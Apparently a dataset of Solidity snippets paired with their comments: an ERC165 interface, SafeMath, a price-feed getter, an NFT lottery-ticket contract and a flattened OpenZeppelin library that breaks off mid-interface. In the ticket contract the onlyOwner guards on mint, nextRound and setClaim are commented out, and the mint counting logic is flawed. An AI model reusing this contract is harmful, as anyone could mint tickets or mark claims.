* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
See {ERC-2981-royaltyInfo}./
|
function royaltyInfo(uint256, uint256 value) external view
returns (address receiver, uint256 royaltyAmount){
require(royaltyFee > 0, "ERC-2981: Royalty not set!");
return (founder, (value * royaltyFee) / 10000);
}
| 1,302,095 |
./partial_match/1/0x14B0d81Af589910F7c60d6225deb024fa9A60A98/sources/BTTPREICO.sol
|
ref: github.com/OpenZeppelin/zeppelin-solidity/ blob/master/contracts/math/SafeMath.sol
|
function mul(uint256 a, uint256 b) pure private returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
| 9,273,287 |
./full_match/4/0x1A91B8862650E90019CE8283f9e23382EEbD153d/sources/browser/Untitled.sol
|
Returns the latest price/ If the round is not complete yet, timestamp is 0
|
function getLatestPrice() public view returns (int) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = priceFeed.latestRoundData();
require(timeStamp > 0, "Round not complete");
return price;
}
| 783,440 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.3;
// ERC721 -> NFT
// ERC721Enumerable -> making NFT queriable
// Ownable for permission control of contract
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract ChokchanaTicket is ERC721, ERC721Enumerable, Ownable {
struct Ticket {
uint256 number;
uint256 round;
bool claimed;
}
// curId keep track of last id of NFT generated
uint256 curId;
// current round of reward pools
uint256 curRound;
// round of each ticket (map with id)
mapping(uint256 => uint256) public rounds;
// mapping of round and id to ticket's number
mapping(uint256 => mapping(uint256 => uint256)) public numbers;
// numbers of tickets of each number in each round
mapping(uint256 => mapping(uint256 => uint256)) public numOfNumbers;
// whether the numbers in that round is exists
mapping(uint256 => mapping(uint256 => bool)) public exists;
// is that ticket id is claimed
mapping(uint256 => bool) public claimed;
// is the same number can be mint more than one time
bool public multiple;
// range of ticket numbers
uint256 startNumber;
uint256 endNumber;
constructor(bool _multiple, uint256 _startNumber, uint256 _endNumber) ERC721("Chokchana Ticket", "CCNT") Ownable() {
// Initialize everything
curId = 0;
multiple = _multiple;
curRound = 1;
startNumber = _startNumber;
endNumber = _endNumber;
}
// return range of tickets number
function range() public view returns(uint256, uint256) {
return (startNumber, endNumber);
}
// reset all data for next round
function nextRound() public /*onlyOwner*/ {
curRound += 1;
}
// set ticket claim status to claimed
function setClaim(uint256 id) public /*onlyOwner*/ {
claimed[id] = true;
}
// Minting new tickets
function mint(uint256 number, address to) public /*onlyOwner*/ {
// check if ticket can be minted or not
if (!multiple && exists[curRound][number]) {
revert("Can only mint 1 ticket of same number!");
}
// check the range of tickets
if (number < startNumber || number > endNumber) {
revert("Can only mint ticket in range of startNumber -> endNumber");
}
// set variable to keep track of ticket's info
numbers[curRound][curId] = number;
exists[curRound][number] = true;
if (exists[curRound][number]) {
numOfNumbers[curRound][number] = numOfNumbers[curRound][number] + 1;
} else {
numOfNumbers[curRound][number] = 1;
}
rounds[curId] = curRound;
// Mint and send to msg.sender
_safeMint(to, curId);
// Increment id for next ticket
curId += 1;
}
// get info of each ticket
function get(uint256 id) public view returns(Ticket memory) {
return Ticket(numbers[rounds[id]][id], rounds[id], claimed[id]);
}
// get info of msg.sender by index
function getTicketOfByIndex(uint256 index) public view returns(Ticket memory) {
return get(tokenOfOwnerByIndex(msg.sender, index));
}
// get number of ticket of that ticket numbers minted
function getNumberOf(uint256 round, uint256 ticketNumber) public view returns (uint256) {
return numOfNumbers[round][ticketNumber];
}
/* ERC721Enumerable require to override */
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
return super.supportsInterface(interfaceId);
}
}
|
get info of each ticket
|
function get(uint256 id) public view returns(Ticket memory) {
return Ticket(numbers[rounds[id]][id], rounds[id], claimed[id]);
}
| 12,596,014 |
// File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/upgrades/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Initializable, Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Detailed.sol
pragma solidity ^0.5.0;
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*/
contract ReentrancyGuard is Initializable {
// counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
function initialize() public initializer {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function initialize(address sender) public initializer {
_owner = sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/access/Roles.sol
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/access/roles/PauserRole.sol
pragma solidity ^0.5.0;
contract PauserRole is Initializable, Context {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
function initialize(address sender) public initializer {
if (!isPauser(sender)) {
_addPauser(sender);
}
}
modifier onlyPauser() {
require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(_msgSender());
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/lifecycle/Pausable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Initializable, Context, PauserRole {
/**
* @dev Emitted when the pause is triggered by a pauser (`account`).
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by a pauser (`account`).
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state. Assigns the Pauser role
* to the deployer.
*/
function initialize(address sender) public initializer {
PauserRole.initialize(sender);
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[50] private ______gap;
}
// File: contracts/interfaces/iERC20Fulcrum.sol
pragma solidity 0.5.16;
interface iERC20Fulcrum {
function mint(
address receiver,
uint256 depositAmount)
external
returns (uint256 mintAmount);
function burn(
address receiver,
uint256 burnAmount)
external
returns (uint256 loanAmountPaid);
